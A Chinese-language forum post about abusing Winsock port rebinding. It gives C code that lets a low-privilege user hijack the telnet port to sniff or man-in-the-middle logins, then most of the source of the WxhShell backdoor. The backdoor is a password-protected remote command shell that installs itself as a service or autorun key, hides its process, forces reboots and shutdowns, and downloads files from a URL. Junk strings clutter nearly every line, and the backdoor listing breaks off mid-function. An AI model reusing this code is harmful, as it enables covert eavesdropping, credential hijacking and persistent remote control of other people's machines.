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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: oju,2kpH7#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y #zO1Nig`  
76cLf~|d~  
  saddr.sin_family = AF_INET; 50""n7I<%  
T/]f5/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nO+R >8,Q  
+}R#mco5K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -nXlW  
}Xvm( ;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %+^Qs\j  
zf;sdQ;4  
  这意味着什么?意味着可以进行如下的攻击: Y'C1L4d  
=M=v; ,I-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lhC hk7l  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1xI  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _ee<i8_Va  
y*%uGG5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Wh)!Ha}  
|'-%d^ Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R.!.7dO  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _&%FGcAS  
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  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F?^L^N^  
$*|M+ofQ  
  #include cj9C6Y!  
  #include 2Qt!JXC  
  #include ~7an j.  
  #include    >x>/}`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %=!] 1  
  int main() u'nQC*iJb  
  { $,P:B%]  
  WORD wVersionRequested; ?lML+  
  DWORD ret; %&S9~E D  
  WSADATA wsaData; .,20_<j%=  
  BOOL val; #q 4uS~  
  SOCKADDR_IN saddr; d f!i}L  
  SOCKADDR_IN scaddr; ^t:dcY7  
  int err; Yt?]0i+  
  SOCKET s; P0pBR_:o  
  SOCKET sc; d6W\ \6V  
  int caddsize; P ^ 4 @  
  HANDLE mt; C;j& Vbf  
  DWORD tid;   @fb"G4o`:  
  wVersionRequested = MAKEWORD( 2, 2 ); |{v#'";O:  
  err = WSAStartup( wVersionRequested, &wsaData ); ^e =G} N^  
  if ( err != 0 ) { gB~^dv {  
  printf("error!WSAStartup failed!\n"); YS_3Cq  
  return -1; C]p@7"l  
  } /'VbV8%  
  saddr.sin_family = AF_INET; 7Ja*T@ !h  
   ;tSA Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j+@3.^vK  
`BVmuUMm  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MqJ5|C.q  
  saddr.sin_port = htons(23); t1]/Bw`j/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vd)zvI  
  { JQ 6M,O  
  printf("error!socket failed!\n"); hGkJ$QT  
  return -1; 7B)1U_L0H  
  } 5VJe6i9;  
  val = TRUE; =J4|"z:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ulx]4;uzf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fbU3-L?  
  { > K?OsvX  
  printf("error!setsockopt failed!\n"); [}]yJ+)  
  return -1; rlD!%gG2x  
  } n}j6gN!O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9! /kyyU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uZZRFioX|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I}m20|vv  
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  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "i\#L`TkzX  
  { g4 eW<  
  ret=GetLastError(); 3 ye  
  printf("error!bind failed!\n"); x-e6[_F  
  return -1; z}B 39L  
  } Mx$&{.LFJ  
  listen(s,2); ?*%_:fB  
  while(1) |/vJ+aKq  
  { (6 Od   
  caddsize = sizeof(scaddr); f um.G{}  
  //接受连接请求 ,T`,OZm  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y?3.W  
  if(sc!=INVALID_SOCKET) ,|B-Nq  
  { H#DvCw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8'HS$J;C  
  if(mt==NULL) tKeTHj;jO  
  { q;")  
  printf("Thread Creat Failed!\n"); !TJ,:c]4{!  
  break; C!a1.&HHZ7  
  } 7oW Mjw\  
  } XIbZ_G^ +D  
  CloseHandle(mt); kQ}n~Hn  
  } 94?WL  
  closesocket(s); c%J6!\  
  WSACleanup(); JD~;.3$/k  
  return 0; )muNfs m  
  }   "GZi eI D  
  DWORD WINAPI ClientThread(LPVOID lpParam) !~Uj 'w  
  { uTxa5j  
  SOCKET ss = (SOCKET)lpParam; m^G(qoZ]  
  SOCKET sc; P0jr>j@^-  
  unsigned char buf[4096]; b.@a,:"  
  SOCKADDR_IN saddr; {VE h@yn  
  long num; 6FQi=}O1  
  DWORD val; n+Kv^Y`qxO  
  DWORD ret; *B"Y]6$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ylKK!vRHT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ch_rV+  
  saddr.sin_family = AF_INET; 8s@N NjV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b1.*cIv}  
  saddr.sin_port = htons(23); sfj+-se(K.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DzQBWY] )  
  { 12KC4,C&1i  
  printf("error!socket failed!\n"); =d<RgwscJ  
  return -1; \ph.c*c  
  } u] };QR  
  val = 100; q8 ?kBKP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t82'K@sq  
  { lGl'A}]#$  
  ret = GetLastError(); &~ y)b`r  
  return -1; ~0a5  
  } 6(Pan%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `X6JZxGyd  
  { {P]C>  
  ret = GetLastError(); W(`QbNJ  
  return -1; rtRbr_  
  } S3E,0%yo+)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &)%+DUV|  
  { Z[oEW>_A  
  printf("error!socket connect failed!\n"); lUm(iYv;H  
  closesocket(sc); VN0We<\Z  
  closesocket(ss); L^3&  
  return -1; [|DKBJ  
  } 8AuBs;i  
  while(1) ] 3"t]U'f  
  { c+9L6}D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2 }r=DAe0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <EpL<K%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rp||#v0l!w  
  num = recv(ss,buf,4096,0); `}}:9d  
  if(num>0) :"\,iH  
  send(sc,buf,num,0); \^c4v\s<o#  
  else if(num==0) CJBf5I3  
  break; -{cHp  
  num = recv(sc,buf,4096,0); 6Dlm. ~G  
  if(num>0) *?rWS"B  
  send(ss,buf,num,0); qd*}d)!  
  else if(num==0) #) aLD0p  
  break; YAr6 cl  
  } Ae+)RBpc  
  closesocket(ss); /o9T [ ^\  
  closesocket(sc); H\67Pd(Z6  
  return 0 ; Az`Aa0h]7  
  } <(L@@.87R  
Y%s:oHt  
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========================================================== HTJ2D@h  
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下边附上一个代码,,WXhSHELL L*(9Hti  
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========================================================== _M&TT]a  
= xO03|T;6  
#include "stdafx.h" n/+X3JJ  
<'a~Y3B"o  
#include <stdio.h> E.oJ[;  
#include <string.h> GXtMX ha,  
#include <windows.h> jFj11w1FrA  
#include <winsock2.h> K4c:k; V  
#include <winsvc.h> Jz}nV1G(jz  
#include <urlmon.h> M"~jNe|  
;b$P*dSG}  
#pragma comment (lib, "Ws2_32.lib") Dqx#i-L23  
#pragma comment (lib, "urlmon.lib") _ E;T"SC  
Zv u6/#  
#define MAX_USER   100 // 最大客户端连接数 XO <wK  
#define BUF_SOCK   200 // sock buffer Z*%;;&?  
#define KEY_BUFF   255 // 输入 buffer m1"m KM  
yB b%#GW  
#define REBOOT     0   // 重启 uJ !&T  
#define SHUTDOWN   1   // 关机 =}^NyLE?  
,XD" p1(|G  
#define DEF_PORT   5000 // 监听端口 Jl Do_}  
> ;,S||  
#define REG_LEN     16   // 注册表键长度 -/yqiC-yx  
#define SVC_LEN     80   // NT服务名长度 :!`"GaTy  
e w^(3&  
// 从dll定义API Mt[yY|Ec|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QU"WpkO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -+#%]P8l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 22`^Rsb,6L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gm=qn]c  
ZZw`8 E  
// wxhshell配置信息 -Zt!H%U  
struct WSCFG { [{znwK@  
  int ws_port;         // 监听端口 iNO>'7s7  
  char ws_passstr[REG_LEN]; // 口令 w?Te%/s.  
  int ws_autoins;       // 安装标记, 1=yes 0=no V]=22Cxi'~  
  char ws_regname[REG_LEN]; // 注册表键名 LW %AZkAx  
  char ws_svcname[REG_LEN]; // 服务名 #2{-6ey  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  +\/Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |3*9+4]a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jjs/6sSRk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "g{q=[U}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LK^|JEu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :RaQ =C  
C"{^wy{sL  
}; (o^tmH*  
"HMEoZ  
// default Wxhshell configuration +HK4sA2;  
struct WSCFG wscfg={DEF_PORT, a~$XD(w^  
    "xuhuanlingzhe", yk+ 50/L  
    1, $*Ucfw1T  
    "Wxhshell", /F*Y~>*% 1  
    "Wxhshell", h [TwaR  
            "WxhShell Service", ewZ?+G+m  
    "Wrsky Windows CmdShell Service", 2w?q7N%  
    "Please Input Your Password: ", ]-=L7a  
  1, |.<_$[v[x  
  "http://www.wrsky.com/wxhshell.exe", p~pD`'%  
  "Wxhshell.exe" @KN+)qP  
    }; #lYyL`B+~  
6EqA Y`y  
// 消息定义模块 q!Du J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A~zn;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cG|fau<G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U( YAI%O  
char *msg_ws_ext="\n\rExit."; IkrB}  
char *msg_ws_end="\n\rQuit."; wq)*bIv  
char *msg_ws_boot="\n\rReboot..."; {15j'Qwm  
char *msg_ws_poff="\n\rShutdown..."; vgfC{]v<W]  
char *msg_ws_down="\n\rSave to "; ^_7|b[Bt  
oV|O`n  
char *msg_ws_err="\n\rErr!"; ({f}Z-%  
char *msg_ws_ok="\n\rOK!"; =%Y1] F  
~# -?V[  
char ExeFile[MAX_PATH]; a)_3r]sv^  
int nUser = 0; m4:c$5  
HANDLE handles[MAX_USER]; L*@`i ]jl  
int OsIsNt; 3Cf9'C  
BI'>\hX/V  
SERVICE_STATUS       serviceStatus; cc@W 6W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; > I2rj2M#  
S|85g1}t  
// 函数声明 v88vr  
int Install(void); +;N]34>S7  
int Uninstall(void); Q@D7 \<t  
int DownloadFile(char *sURL, SOCKET wsh); CSM"Kz`  
int Boot(int flag); AIF ?>wgq  
void HideProc(void); { 3G  
int GetOsVer(void); v 6~9)\!j  
int Wxhshell(SOCKET wsl); agIqca;  
void TalkWithClient(void *cs); DUp`zW;B  
int CmdShell(SOCKET sock); M'*s5:i  
int StartFromService(void); *ap,r&]#F  
int StartWxhshell(LPSTR lpCmdLine); 18&"j 8'm  
eYOY   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z.vQ1~s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6h 0qtXn-  
F O!Td  
// 数据结构和表定义 A*JOp8\)  
SERVICE_TABLE_ENTRY DispatchTable[] = /{T&l*'  
{ 3I)~;>meo  
{wscfg.ws_svcname, NTServiceMain}, N*Y[[N(  
{NULL, NULL} Fmk:[h Mw  
}; X5 vMY  
[xS7ae  
// 自我安装 l:HQ@FX  
int Install(void) .OPknC  
{ ,Qj G|P  
  char svExeFile[MAX_PATH]; TxrW69FV7  
  HKEY key; >m%_`68  
  strcpy(svExeFile,ExeFile); y>o:5':;'  
UXm_-/&b9  
// 如果是win9x系统,修改注册表设为自启动 ,d"T2Hy  
if(!OsIsNt) { M/ 3;-g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m+QS -woHn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i~@gI5[k+  
  RegCloseKey(key); 5Rbl.5. A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FP@_V-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N$fP\h^AR  
  RegCloseKey(key); 'gwh:  
  return 0; T:^.; ZY  
    } sh/ ,"b2!P  
  } |G j.E  
} _@5Xmr  
else { _3/u#'m0  
L&\W+k  
// 如果是NT以上系统,安装为系统服务 ym;]3<I?I[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l*CulVX  
if (schSCManager!=0) g2OnLEF]s  
{ pPReo)  
  SC_HANDLE schService = CreateService ]_KWN$pd  
  ( vYgJu-Sl  
  schSCManager, /[R=-s ;  
  wscfg.ws_svcname, inu.U[.  
  wscfg.ws_svcdisp, HQ-[k$d W4  
  SERVICE_ALL_ACCESS, aDS:82GMQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lrrTeE*  
  SERVICE_AUTO_START, *G"hjc$L  
  SERVICE_ERROR_NORMAL,  f<o|5r  
  svExeFile, Bm~^d7;Cw  
  NULL, `?VK(<w0q  
  NULL, Gb')a/  
  NULL, 9z,sn#-t  
  NULL, O4rjGTRF  
  NULL &4Z8df!  
  ); >d 5-if  
  if (schService!=0) {`HbpM<=m]  
  { -rDfDdT  
  CloseServiceHandle(schService); g=:o'W$@  
  CloseServiceHandle(schSCManager); #2=l\y-#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~WrpJjI[  
  strcat(svExeFile,wscfg.ws_svcname); ZflB<cI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s_^`t+5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |d0X1(  
  RegCloseKey(key); Z$z-Hx@%  
  return 0; {_7hX`p  
    } @&jR^`Y.  
  } \kE0h\  
  CloseServiceHandle(schSCManager); ys=2!P-[#  
} 175e:\Tw  
} z~{08M7  
_L,~WYRo  
return 1; MN: {,#d0  
} #}Qe{4L  
Dj/Hz\  
// 自我卸载 Df"PNUwA"  
int Uninstall(void) w1Bkz\95  
{ r CJ$Pl9R  
  HKEY key; *`a$6F7m4  
3.movkj  
if(!OsIsNt) { ]& D dy&V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C  eEhe  
  RegDeleteValue(key,wscfg.ws_regname); 7mtx^  
  RegCloseKey(key); oc?|"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %_ew{ff|  
  RegDeleteValue(key,wscfg.ws_regname); W @"Rdc-  
  RegCloseKey(key); Y[*.^l._  
  return 0; |s /)lA:9  
  } ximVh}'a  
} m2SJ\1 J=  
} A&}]:4@{  
else { tY$@,>2v  
}$)~HmZw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m mF0RNE  
if (schSCManager!=0) p39$V[*g(  
{ wOH:'sk["  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q g/Rw4[  
  if (schService!=0) gj|5"'g%  
  { =8_b&4.:&  
  if(DeleteService(schService)!=0) { QRQ{Bq}#  
  CloseServiceHandle(schService); ^*jwe^  
  CloseServiceHandle(schSCManager);  $H*8H`  
  return 0; kTjn%Sn,  
  } ;X}2S!7Ko  
  CloseServiceHandle(schService); HOi~eX1d  
  } %XR(K@V  
  CloseServiceHandle(schSCManager); ll__A|JQ  
} dr)*.<_+a(  
} CUDA<Fm  
q:_:E*o  
return 1; Aa-5k3:x]=  
} jd]L}%ax  
}a OBQsnO  
// 从指定url下载文件 (o{Y;E@/y  
int DownloadFile(char *sURL, SOCKET wsh) A":=-$)  
{ 8B ,S_0!  
  HRESULT hr; N_G&nw  
char seps[]= "/"; IAA_Ft  
char *token; F]RPM(!5O)  
char *file; tk0m[HN@eV  
char myURL[MAX_PATH]; >QDyG8*  
char myFILE[MAX_PATH]; IFW(nB(  
23|JgKuA  
strcpy(myURL,sURL); L1_O!EQ  
  token=strtok(myURL,seps); aj|3(2;Kp  
  while(token!=NULL) ll}_EUF|  
  { :E{)yT  
    file=token; e@c8Ce|0  
  token=strtok(NULL,seps); $c*fbBM(&n  
  } O:v#M]   
.joCZKO  
GetCurrentDirectory(MAX_PATH,myFILE); ;nlJ D#  
strcat(myFILE, "\\"); ZXLAX9|  
strcat(myFILE, file); 6Takx%U  
  send(wsh,myFILE,strlen(myFILE),0); F=&,=r' Q8  
send(wsh,"...",3,0); v1u~[c=|^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H-t$A, [  
  if(hr==S_OK) 0~<?*{~  
return 0; WiZkIZ  
else 46M=R-7=  
return 1; XN-1`5:4I  
<e&v[  
} M19O^P>[  
0aq{Y7sYU  
// 系统电源模块 [#wt3<d`)  
int Boot(int flag) 3N]ushMO  
{ b+Sj\3fX  
  HANDLE hToken; ql%K+4@  
  TOKEN_PRIVILEGES tkp; i=5!taxu}E  
eG+$~\%Fub  
  if(OsIsNt) { S#CaJ}M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Vuy%7H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =H: N!!:  
    tkp.PrivilegeCount = 1; Zk7!CJVM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l_2Xao$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pv4#`.m  
if(flag==REBOOT) { 7E* 0;sA#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "z6p=B"?3  
  return 0; D=LsoASVI  
} Ww~C[8q  
else { nYC.zc*ox  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bfUKh%!M  
  return 0; j*?E~M.'1K  
} ?gu!P:lZS  
  } GQ85ykky  
  else { E Id>%0s5  
if(flag==REBOOT) { Yq/vym-O5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >q')%j  
  return 0; fLRx{Nu  
} qi^kf  
else { ']Czn._  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m[l&&(+J,  
  return 0; ao7M(f  
} vh|m[p  
} jn]l!nm  
WCaMPz  
return 1; 6wOj,}2Mn  
} ui"`c%2n  
w3iX "w  
// win9x进程隐藏模块 n\7 >_  
void HideProc(void) Z3<lJk\Y  
{ W-D4" G@  
>y}> 5kv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a@_n>$LZL  
  if ( hKernel != NULL ) mE+=H]`.p  
  { PMiu "  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?mi}S${g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `&)  
    FreeLibrary(hKernel); 7lOAu]Zx  
  } Q=<&ew  
u3cg&lEgT  
return; >7?Lq<H  
} #cikpHLXG  
"<L9-vb  
// 获取操作系统版本 gjJ:s,Fg  
int GetOsVer(void) W;X:U.  
{ EnMc9FN(y  
  OSVERSIONINFO winfo; T_\hhP~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =%77~q-HL  
  GetVersionEx(&winfo); 4X:mb}(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YYe<StyH  
  return 1; AgDXpaq  
  else !~mPxGY  
  return 0; *yg`V,C  
} OK@yMGz1I  
5n::]Q%=D  
// 客户端句柄模块 ju.`c->k"  
int Wxhshell(SOCKET wsl) kT^`j^Jr  
{ qP/McH?  
  SOCKET wsh; s2tNQtq 0W  
  struct sockaddr_in client; @q|c|X:I  
  DWORD myID; gsIp y  
!}d_$U$  
  while(nUser<MAX_USER) YEiw!  
{ 7&dF=/:X@  
  int nSize=sizeof(client); +nYF9z2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3cH^ ,F  
  if(wsh==INVALID_SOCKET) return 1; 5uM`4xkj  
vQ5rhRG)E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e{Mkwi+j  
if(handles[nUser]==0) 5 yL"=3&+  
  closesocket(wsh); t,5AoK/NL9  
else `j6O  
  nUser++;  L$]Y$yv  
  } w~AO;X*Ke"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {FN CC*=  
%zjyZ{=  
  return 0; t4zKI~cO  
} PTF|"^k+   
[L2N[vy;  
// 关闭 socket f 0/q{*  
void CloseIt(SOCKET wsh) _k)EqPYu@  
{ ) Cm95,Y  
closesocket(wsh); C61E=$  
nUser--; |kHzp^S  
ExitThread(0); 7Zh#7jiZ`  
} 9 KU3)%U  
SG)|4$"  
// 客户端请求句柄 6(B[(Af  
void TalkWithClient(void *cs) vf!lhV-UG+  
{ YQ-V^e6  
S2V+%Z _J  
  SOCKET wsh=(SOCKET)cs; *Fd(  
  char pwd[SVC_LEN]; ZjgfkZAS  
  char cmd[KEY_BUFF]; ,u5iiR  
char chr[1]; {>yy3(N  
int i,j; .UUT@ w?  
.A7ON1lc^C  
  while (nUser < MAX_USER) { iT~ gt/K  
k~iA'E0-  
if(wscfg.ws_passstr) { _y9NDLRs8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JPe<qf-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,/-DAo~O  
  //ZeroMemory(pwd,KEY_BUFF); Zu ![v0  
      i=0; I5E4mv0<i  
  while(i<SVC_LEN) { E`q)vk   
fTI~wF8!  
  // 设置超时 kI^Pu  
  fd_set FdRead; gGbJk&E  
  struct timeval TimeOut; pq,8z= Uf  
  FD_ZERO(&FdRead); #@cEJV;5"  
  FD_SET(wsh,&FdRead); zE=^}K+  
  TimeOut.tv_sec=8; h(FFG%H(  
  TimeOut.tv_usec=0; Z"9D1Uk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Oz5Ze/HBN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i7O8f^|  
Mir( }E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <OGXKv@  
  pwd=chr[0]; rVb61$  
  if(chr[0]==0xd || chr[0]==0xa) { }ho6  
  pwd=0; ]L!:/k,=S  
  break; vn.j>;E'  
  } 6P`!yBAu  
  i++; CuYSvW  
    } _lZWy$rm%  
d?jzh 1  
  // 如果是非法用户,关闭 socket ^4 ~ V/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i=`@)E  
} Nj}-"R\u  
hx!hI1   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aB~=WWLR\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P?M WT]fY  
Hg+bmwM  
while(1) { 8^qLGUxz  
gYa (-o  
  ZeroMemory(cmd,KEY_BUFF); n{z!L-x^b  
3Ebkq[/*%  
      // 自动支持客户端 telnet标准   4nD U-P#f  
  j=0; CQET  
  while(j<KEY_BUFF) { 82w=t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TE@bV9a  
  cmd[j]=chr[0]; ds'7zxy/  
  if(chr[0]==0xa || chr[0]==0xd) { cD9axlJ  
  cmd[j]=0; I~>Ye<g#  
  break; +`~kt4W  
  } hWiBLip,z  
  j++; \aGTi pB  
    } i/q1>  
R?J=5tO  
  // 下载文件 `>\>'V<&  
  if(strstr(cmd,"http://")) { Kfs|KIQ>=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VuA)Ye  
  if(DownloadFile(cmd,wsh)) a*{ -r]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XjJ[7"hs*  
  else F)uS2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]|K@0,  
  } -<@QR8:  
  else { k`r`ZA(kQ-  
=o,6iJ^?$m  
    switch(cmd[0]) { !WQS.&  
   uzaD K  
  // 帮助 h$a% PaVf  
  case '?': { !^(?C@TQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S0p[Kt  
    break; /\UFJ  
  } ;+R  
  // 安装 7Ezy-x2h  
  case 'i': { ,&rHBNS  
    if(Install()) rL<a^/b/=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,I8[tiR"b  
    else 76 RFu@k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vUgMfy&  
    break; J4q_}^/2w  
    } fV5MI[ t  
  // 卸载 C?7I(b:  
  case 'r': { ^Z:qlYZ  
    if(Uninstall()) *waaM]u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H4IJLZ3G  
    else 61&A`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Y4QR[>IU3  
    break; n_MY69W  
    } 9*j$U$:'  
  // 显示 wxhshell 所在路径 GGkU$qp2~  
  case 'p': { i>=!6Hu2  
    char svExeFile[MAX_PATH]; NT<vs"<B  
    strcpy(svExeFile,"\n\r"); DjveMs$d  
      strcat(svExeFile,ExeFile); n8'#'^|  
        send(wsh,svExeFile,strlen(svExeFile),0); )XoIb[s"  
    break; xPorlX)zW  
    } f|'8~C5I@>  
  // 重启 )CUB7D)=  
  case 'b': { .u$o^; z!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F4 :#okt  
    if(Boot(REBOOT)) p2uZ*sY(D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I&|J +B?#  
    else { y:ad%,. C  
    closesocket(wsh); hSF4-Vvb  
    ExitThread(0); fFJu]  
    } [}Pi $at  
    break; jP"l5  
    } LV!<vakCK  
  // 关机 MtKM#@  
  case 'd': { 'MY0v_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vZ/Bzy@|  
    if(Boot(SHUTDOWN)) a?ux  
